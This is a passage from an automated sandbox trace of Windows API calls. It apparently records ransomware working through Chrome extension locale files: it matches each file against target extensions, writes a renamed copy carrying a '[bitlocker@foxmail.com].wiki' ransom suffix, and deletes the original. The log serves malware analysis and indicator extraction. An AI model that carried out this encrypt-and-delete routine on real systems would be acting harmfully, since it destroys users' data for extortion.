-1 [0172.149] lstrlenW (lpString=".pdf") returned 4 [0172.149] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".xls") returned 4 [0172.149] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".xlsx") returned 5 [0172.149] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.149] lstrlenW (lpString=".ppt") returned 4 [0172.149] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.149] lstrlenW (lpString=".zip") returned 4 [0172.149] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".rar") returned 4 [0172.149] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".bz2") returned 4 [0172.149] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".7z") returned 3 [0172.149] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.149] lstrlenW (lpString=".dbf") returned 4 [0172.149] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.150] lstrlenW (lpString=".1cd") returned 4 [0172.150] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.150] lstrlenW (lpString=".jpg") returned 4 [0172.150] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.150] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.150] lstrlenW (lpString="messages.json") returned 13 [0172.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.150] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=221) returned 1 [0172.150] CloseHandle (hObject=0x124) returned 1 [0172.151] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json")) returned 0x2020 [0172.151] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.151] GetLastError () returned 0x0 [0172.151] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdd, lpOverlapped=0x0) returned 1 [0172.152] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.153] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.153] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.153] SetEndOfFile (hFile=0x320) returned 1 [0172.153] CloseHandle (hObject=0x320) returned 1 [0172.154] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.154] SetEndOfFile (hFile=0x124) returned 1 [0172.154] CloseHandle (hObject=0x124) returned 1 [0172.155] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.155] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json")) returned 1 [0172.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.155] lstrlenW (lpString=".doc") returned 4 [0172.155] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.155] lstrlenW (lpString=".docx") returned 5 [0172.155] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.155] lstrlenW (lpString=".pdf") returned 4 [0172.155] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.155] lstrlenW (lpString=".xls") returned 4 [0172.155] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.155] lstrlenW (lpString=".xlsx") returned 5 [0172.155] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.155] lstrlenW (lpString=".ppt") returned 4 [0172.155] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString=".zip") returned 4 [0172.156] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".rar") returned 4 [0172.156] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".bz2") returned 4 [0172.156] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".7z") returned 3 [0172.156] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString=".dbf") returned 4 [0172.156] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString=".1cd") returned 4 [0172.156] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString=".jpg") returned 4 [0172.156] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.156] lstrlenW (lpString=".doc") returned 4 [0172.156] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".docx") returned 5 [0172.156] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.156] lstrlenW (lpString=".pdf") returned 4 [0172.156] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".xls") returned 4 [0172.156] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.156] lstrlenW (lpString=".xlsx") returned 5 [0172.157] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.157] lstrlenW (lpString=".ppt") returned 4 [0172.157] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.157] lstrlenW (lpString=".zip") returned 4 [0172.157] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.157] lstrlenW (lpString=".rar") returned 4 [0172.157] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.157] lstrlenW (lpString=".bz2") returned 4 [0172.157] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.157] lstrlenW (lpString=".7z") returned 3 [0172.157] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.157] lstrlenW (lpString=".dbf") returned 4 [0172.157] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.157] lstrlenW (lpString=".1cd") returned 4 [0172.157] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 151 [0172.157] lstrlenW (lpString=".jpg") returned 4 [0172.157] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.157] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.157] lstrlenW (lpString="messages.json") returned 13 [0172.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.158] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=236) returned 1 [0172.158] CloseHandle (hObject=0x124) returned 1 [0172.158] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json")) returned 0x2020 [0172.158] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.158] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.158] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.159] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.159] GetLastError () returned 0x0 [0172.159] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xec, lpOverlapped=0x0) returned 1 [0172.160] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.161] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.161] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.161] SetEndOfFile (hFile=0x320) returned 1 [0172.161] CloseHandle (hObject=0x320) returned 1 [0172.161] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.161] SetEndOfFile (hFile=0x124) returned 1 [0172.535] CloseHandle (hObject=0x124) returned 1 [0172.535] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.535] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json")) returned 1 [0172.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.535] lstrlenW (lpString=".doc") returned 4 [0172.535] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.535] lstrlenW (lpString=".docx") returned 5 [0172.535] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.536] lstrlenW (lpString=".pdf") returned 4 [0172.536] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.536] lstrlenW (lpString=".xls") returned 4 [0172.536] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.536] lstrlenW (lpString=".xlsx") returned 5 [0172.536] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.536] lstrlenW (lpString=".ppt") returned 4 [0172.536] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.536] lstrlenW (lpString=".zip") returned 4 [0172.536] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.536] lstrlenW (lpString=".rar") returned 4 [0172.536] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.536] lstrlenW (lpString=".bz2") returned 4 [0172.536] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.536] lstrlenW (lpString=".7z") returned 3 [0172.536] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.536] lstrlenW (lpString=".dbf") returned 4 [0172.536] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.536] lstrlenW (lpString=".1cd") returned 4 [0172.536] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.536] lstrlenW (lpString=".jpg") returned 4 [0172.536] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString=".doc") returned 4 [0172.537] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".docx") returned 5 [0172.537] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.537] lstrlenW (lpString=".pdf") returned 4 [0172.537] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".xls") returned 4 [0172.537] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".xlsx") returned 5 [0172.537] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.537] lstrlenW (lpString=".ppt") returned 4 [0172.537] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString=".zip") returned 4 [0172.537] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".rar") returned 4 [0172.537] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".bz2") returned 4 [0172.537] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.537] lstrlenW (lpString=".7z") returned 3 [0172.537] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString=".dbf") returned 4 [0172.537] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString=".1cd") returned 4 [0172.537] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json") returned 151 [0172.537] lstrlenW (lpString=".jpg") returned 4 [0172.538] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.538] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.538] lstrlenW (lpString="messages.json") returned 13 [0172.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.542] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=209) returned 1 [0172.542] CloseHandle (hObject=0x124) returned 1 [0172.542] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0172.542] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 